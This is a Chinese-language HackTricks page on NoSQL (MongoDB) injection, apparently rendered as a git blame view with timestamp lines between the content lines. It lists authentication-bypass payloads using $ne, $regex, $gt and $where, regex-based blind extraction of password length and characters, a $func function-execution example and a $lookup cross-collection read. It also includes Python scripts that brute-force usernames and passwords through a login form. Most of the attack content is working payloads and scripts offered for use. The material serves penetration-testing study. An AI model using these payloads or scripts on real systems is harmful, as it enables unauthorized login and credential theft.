2024-01-10 06:29:36 +00:00
# NoSQL 注入
2022-04-28 16:01:33 +00:00
2024-01-10 06:29:36 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
2023-09-28 19:47:23 +00:00
\
2024-01-10 06:29:36 +00:00
使用 [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-01-10 06:29:36 +00:00
< summary > < strong > 从零开始学习 AWS 黑客技术,成为< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS 红队专家)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-10 06:29:36 +00:00
其他支持 HackTricks 的方式:
2023-12-31 04:43:12 +00:00
2024-01-10 06:29:36 +00:00
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram 群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来**分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-01-10 06:29:36 +00:00
NoSQL 数据库提供比传统 SQL 数据库更宽松的一致性限制。通过减少关系约束和一致性检查的需求, NoSQL 数据库通常提供性能和扩展优势。然而,即使这些数据库不使用传统的 SQL 语法,它们仍然可能容易受到注入攻击。
2020-07-15 15:43:14 +00:00
2023-12-31 04:43:12 +00:00
## 利用
2020-07-15 15:43:14 +00:00
2024-01-10 06:29:36 +00:00
在 PHP 中,您可以通过将发送参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
2020-07-15 15:43:14 +00:00
2023-12-31 04:43:12 +00:00
利用基于添加一个**操作符**:
2020-07-15 15:43:14 +00:00
```bash
username[$ne]=1$password[$ne]=1 #< Not Equals >
username[$regex]=^adm$password[$ne]=1 #Check a < regular expression > , could be used to brute-force a parameter
username[$regex]=.{25}& pass[$ne]=1 #Use the < regex > to find the length of a value
2021-04-19 22:42:22 +00:00
username[$eq]=admin& password[$ne]=1 #< Equals >
2020-07-15 15:43:14 +00:00
username[$ne]=admin& pass[$lt]=s #< Less than > , Brute-force pass[$lt] to find more users
username[$ne]=admin& pass[$gt]=s #< Greater Than >
username[$nin][admin]=admin& username[$nin][test]=test& pass[$ne]=7 #< Matches non of the values of the array > (not test and not admin)
{ $where: "this.credits == this.debits" }#< IF > , can be used to execute code
```
2023-08-03 19:12:22 +00:00
### 基本身份验证绕过
2020-07-15 15:43:14 +00:00
2023-12-31 04:43:12 +00:00
**使用不等于($ne) 或大于( $gt) **
2020-07-15 15:43:14 +00:00
```bash
#in URL
username[$ne]=toto& password[$ne]=toto
2021-06-26 15:50:17 +00:00
username[$regex]=.*& password[$regex]=.*
2020-07-15 15:43:14 +00:00
username[$exists]=true& password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
2023-08-03 19:12:22 +00:00
### **SQL - Mongo**
2024-01-10 06:29:36 +00:00
```javascript
query = { $where: `this.username == '${username}'` }
```
如果我们传入像 `username=admin' || 'a'=='a` 这样的字符串,查询将变成 `$where: this.username == 'admin' || 'a'=='a'` ,这当然总是评估为真,因此返回**所有结果**。
2023-09-03 18:16:18 +00:00
```
Normal sql: ' or 1=1-- -
2024-01-10 06:29:36 +00:00
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
2023-09-03 18:16:18 +00:00
```
### 提取**长度**信息
2020-07-15 15:43:14 +00:00
```bash
username[$ne]=toto& password[$regex]=.{1}
username[$ne]=toto& password[$regex]=.{3}
# True if the length equals 1,3...
```
2023-08-03 19:12:22 +00:00
### 提取**数据**信息
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
in URL (if length == 3)
username[$ne]=toto& password[$regex]=a.{2}
username[$ne]=toto& password[$regex]=b.{2}
...
username[$ne]=toto& password[$regex]=m.{2}
username[$ne]=toto& password[$regex]=md.{1}
username[$ne]=toto& password[$regex]=mdp
username[$ne]=toto& password[$regex]=m.*
username[$ne]=toto& password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
2023-08-03 19:12:22 +00:00
### **SQL - Mongo**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
/?search=admin' & & this.password%00 --> Check if the field password exists
/?search=admin' & & this.password & & this.password.match(/.*/)%00 --> start matching password
/?search=admin' & & this.password & & this.password.match(/^a.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^b.*$/)%00
/?search=admin' & & this.password & & this.password.match(/^c.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj.*$/)%00
...
/?search=admin' & & this.password & & this.password.match(/^duvj78i3u$/)%00 Found
```
2023-12-31 04:43:12 +00:00
### PHP 任意函数执行
2020-07-15 15:43:14 +00:00
2024-01-10 06:29:36 +00:00
使用 [MongoLite ](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite ) 库(默认使用)的 ** $func** 操作符,可能可以执行任意函数,如[此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/)所示。
2021-04-30 09:16:21 +00:00
```python
"user":{"$func": "var_dump"}
```
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 468 ) . png > )
2021-04-30 09:16:21 +00:00
2023-08-03 19:12:22 +00:00
### 从不同的集合中获取信息
2023-03-23 14:03:29 +00:00
2023-12-31 04:43:12 +00:00
可以使用 [**$lookup** ](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/ ) 从不同的集合中获取信息。在下面的例子中,我们从一个名为 ** `users` ** 的**不同集合**中读取数据,并获取所有密码匹配通配符的**条目结果**。
2023-03-23 14:03:29 +00:00
```json
[
2023-08-03 19:12:22 +00:00
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
2023-03-23 14:03:29 +00:00
]
```
2024-01-10 06:29:36 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
2024-01-10 06:29:36 +00:00
使用 [**Trickest** ](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks ) 来轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进**的社区工具提供支持。
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2023-12-31 04:43:12 +00:00
## 盲目 NoSQL
2020-07-15 15:43:14 +00:00
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
2023-08-03 19:12:22 +00:00
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("< TRUE > " in r.text):
flag += char
print("[+] Flag: "+flag)
break
2020-07-15 15:43:14 +00:00
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
2023-08-03 19:12:22 +00:00
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
2020-07-15 15:43:14 +00:00
```
2023-12-31 04:43:12 +00:00
## MongoDB 载荷
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
2024-01-10 06:29:36 +00:00
' || '1'=='1
2020-07-15 15:43:14 +00:00
' & & this.password.match(/.*/)//+%00
' & & this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
2023-08-03 19:12:22 +00:00
## 工具
2020-07-15 15:43:14 +00:00
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration ](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration )
2022-01-14 10:22:14 +00:00
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite ](https://github.com/C4l1b4n/NoSQL-Attack-Suite )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 从POST登录中暴力破解用户名和密码
2020-07-15 15:43:14 +00:00
2023-12-31 04:43:12 +00:00
这是一个简单的脚本,你可以修改它,但前面提到的工具也可以完成这个任务。
2020-07-15 15:43:14 +00:00
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
2023-08-03 19:12:22 +00:00
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
2020-07-15 15:43:14 +00:00
def get_usernames():
2023-08-03 19:12:22 +00:00
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
2020-07-15 15:43:14 +00:00
for u in get_usernames():
2023-08-03 19:12:22 +00:00
get_password(u)
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
## 参考资料
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media ](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media )
2022-09-09 11:00:52 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection )
2022-04-28 16:01:33 +00:00
< details >
2024-01-10 06:29:36 +00:00
< summary > < strong > 通过< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > 从零开始学习AWS黑客攻击! < / strong > < / summary >
2023-12-31 04:43:12 +00:00
2024-01-10 06:29:36 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-10 06:29:36 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2023-12-31 04:43:12 +00:00
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-01-10 06:29:36 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-08-31 22:35:39 +00:00
\
2023-12-31 04:43:12 +00:00
使用 [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}